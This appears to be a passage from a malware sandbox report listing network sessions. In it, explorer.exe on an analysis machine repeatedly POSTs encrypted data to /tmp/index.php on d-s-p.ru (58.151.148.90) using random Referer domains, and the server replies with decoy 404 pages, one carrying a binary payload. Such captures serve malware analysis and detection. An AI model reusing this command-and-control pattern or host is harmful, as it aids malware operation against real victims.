Dec 30, 2024 19:45:03.192399979 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:02 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50046	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:03.352658987 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://anvunsnhjllayr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: d-s-p.ru
Dec 30, 2024 19:45:03.352684021 CET	209	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 2d 6b 2c 90 f5 76 0b 75 70 3d e1 91 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[-k,vup=1pZ8VYzf8\,&m!(V}@,$vc2Y5sy@_4n3_!.AM
Dec 30, 2024 19:45:04.796586990 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:04 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50047	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:04.816277027 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iupqlsqcljbulu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: d-s-p.ru
Dec 30, 2024 19:45:04.816296101 CET	244	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 22 6b 2c 90 f5 76 0b 75 7a 35 f9 f3 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -["k,vuz5R]DLqit9q36dt+7k^.RF[1b[4otNOy1B*QcmPk:R`1qyF1&,
Dec 30, 2024 19:45:06.282278061 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50048	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:06.308528900 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovyowegmnacdkibi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: d-s-p.ru
Dec 30, 2024 19:45:06.308549881 CET	354	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 23 6b 2c 90 f5 76 0b 75 55 5c ca a0 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[#k,vuU\xTv~t= T9wst%A+83tQA:Tv\Z(tI^FBA$hc50XDggB\|\JHfsOF)
Dec 30, 2024 19:45:07.746192932 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:07 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50049	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:07.769485950 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lsjajjgmqahp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: d-s-p.ru
Dec 30, 2024 19:45:07.769511938 CET	167	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 20 6b 2c 90 f5 76 0b 75 4e 53 c7 e7 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[ k,vuNSJ2A{+K51>q+QVF+}3&P??Ra
Dec 30, 2024 19:45:09.281042099 CET	206	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1c 7d 51 ba 2c 0b e1 fb 09 f0 91 ef e4 2f 8d 61 c2 e8 6e 59 1a 82 9e 8a c0 70 9b 37 18 12 98 07 99 16 76 5a 57 e9 d5 7f e5 7c Data Ascii: #\6}Q,/anYp7vZW\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50051	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:16.954521894 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovpfvtkrixi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: d-s-p.ru
Dec 30, 2024 19:45:16.954540014 CET	212	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 20 6b 2c 90 f4 76 0b 75 58 02 b7 e9 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA ,[ k,vuXm%urZJ'`n@X=b -^"E0):RRd[E`NRCoO^M3A
Dec 30, 2024 19:45:18.689690113 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50052	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:18.701184034 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ddedgrkngjekmoj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 198 Host: d-s-p.ru
Dec 30, 2024 19:45:18.701227903 CET	198	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 21 6b 2c 90 f5 76 0b 75 2b 57 a6 af Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[!k,vu+WW5a}Hv,_viC)6G:BUf]N-xVM@*<"v]EV/=
Dec 30, 2024 19:45:20.211200953 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:19 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50053	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:20.223864079 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ypotdnyqkrcswq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: d-s-p.ru
Dec 30, 2024 19:45:20.223879099 CET	260	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 26 6b 2c 90 f5 76 0b 75 60 4b b7 bc Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[&k,vu`K<sOzdIE9&hnCiKiG6?ez^PhEgYT IQPKqX?b^l!gZ4jjX-yVj}X
Dec 30, 2024 19:45:21.698214054 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:21 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50054	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:21.708884001 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oywmgpnhuhb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: d-s-p.ru
Dec 30, 2024 19:45:21.708935022 CET	133	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 27 6b 2c 90 f5 76 0b 75 56 25 de a0 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -['k,vuV%\|FZ[ggPrl)[m9E_1
Dec 30, 2024 19:45:23.176513910 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:22 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50055	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:23.185098886 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://laowevegchj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 233 Host: d-s-p.ru
Dec 30, 2024 19:45:23.185133934 CET	233	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 24 6b 2c 90 f5 76 0b 75 5c 06 ec 9d Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[$k,vu\S1Xjr3Pr\+3 9kvD C"D_FYGT%dL2,@6pnA#(Y>.},~s6,;/
Dec 30, 2024 19:45:24.672801971 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:24 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 